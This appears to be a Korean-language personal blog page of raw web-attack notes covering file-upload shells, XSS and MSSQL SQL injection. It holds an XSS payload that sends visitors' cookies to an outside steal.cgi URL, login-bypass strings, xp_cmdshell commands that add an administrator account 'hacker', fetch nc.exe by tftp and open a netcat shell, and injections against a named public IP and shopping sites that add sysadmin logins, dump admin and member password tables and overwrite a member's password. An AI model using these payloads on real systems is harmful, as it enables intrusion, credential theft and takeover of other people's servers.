leopit's blog

1.Uploading 공격
 1.1. cmdshell 업로딩(ipconfig, net user, net start)
 1.2.  uploading asp파일 업(upload.asp, upload.inc)
 
2.XSS 공격
  2.1."><script>alert(document.cookie);</script>(취약 페이지 확인)
  2.2 공격 스크립트 게시판에 올림
  <script>document.location.href="http://www.skcert.com/cgi-bin/steal.cgi?COOKIES=" +document.cookie; </script>
  2.3 클릭하면 경품당첨!!!!!!!!!!! (글제목)

3.SQL-Injection
  3.1 사용자 인증
      id: admin pw: ' or 1=1--
  
  3.2 자동화 툴 사용
    3.2.1 스캔 후 NBSI 툴 공격
          스캔 URL->http://www.skmall.com/index.asp
          취약 페이지->http://www.skmall.com/shop/shop_fashion.asp?gcode=1
  
  3.3 취약한 페이지에 DB생성 & 계정 추가 &   
      http://www.skmall.com/shop/fashion/shop_product.asp?gseq=102001001106&gcode=1&gbcode=02&barcode=1020010010900106

      '; create table [dbo].[jiaozhu] ([jiaozhu][varchar](50))--  ->DB테이블 생성
     
     3.3.1 계정 추가(먼저 추가되기 전 계정 
     상태 net user로 보여준다) 
       '; exec master..xp_cmdshell 'net start telnet /add'-- 
      '; exec master..xp_cmdshell 'net user hacker 1111 /add'--  ->계정 추가
        net localgroup administrators 명령어로 확인
       '; exec master..xp_cmdshell 'net localgroup administrators hacker /add'--
    
       '; exec master..xp_cmdshell 'tftp -i 192.168.1.61 get nc.exe'--
       '; exec master..xp_cmdshell 'nc -l -p 1234 -e cmd.exe'--

telnet 192.168.1.11 1234

0, http://162.105.138.23/reference/wuc/ch_sitename.asp?id=16 and db_name()>0
1, http://162.105.138.23/reference/wuc/ch_sitename.asp?id=16' and% 1=(select @@version)--
2, http://162.105.138.23/reference/wuc/ch_sitename.asp?id=16;exec master.xp_servicecontrol 'start','telnet';
   http://162.105.138.23/reference/wuc/ch_sitename.asp?id=16;EXEC master.dbo.sp_addlogin 'ljy';
   http://162.105.138.23/reference/wuc/ch_sitename.asp?id=16;EXEC master.dbo.sp_password 'null','ljy','ljy';
   http://162.105.138.23/reference/wuc/ch_sitename.asp?id=16;EXEC master.dbo.sp_addsrvrolemember 'ljy','sysadmin';
   '; exec master..xp_cmdshell 'ping 10.250.186.81'--

-------------------------------다 날------------------------------------------

df' union select @@version,system_user,'3','4','5'--
aa' union select name,'/',id,'/',password from dt_new_admin_list--

aa' ;create table dir(filename varchar(200) NOT NULL,depth int NOT NULL,[file] int NOT NULL)--
aa' ;delete from dir;insert dir exec master.dbo.xp_dirtree 'c:\',1,1--

aa' union select '','','',filename,depth,'' from dir--
aa' ;delete from dir;insert dir exec master.dbo.xp_dirtree 'd:\web\sonymusic\public_html\www\',1,1--

aa' ; exec master.dbo.xp_cmdshell 'for /r c: %i in (FindZipsearch.asp) do @if exist %i (echo %i>%i.bak)'--

aa' union select '','','',table_name,'-'column_name from information_schema.columns--

aa' union select top 1000 MC_NAME,'/',MC_ID,'/',MC_PWD_A from DV_MEMBER_LOGIN--
aa' ;update DV_MEMBER_LOGIN set MC_PWD_A ='0728' where mc_id='ipath'--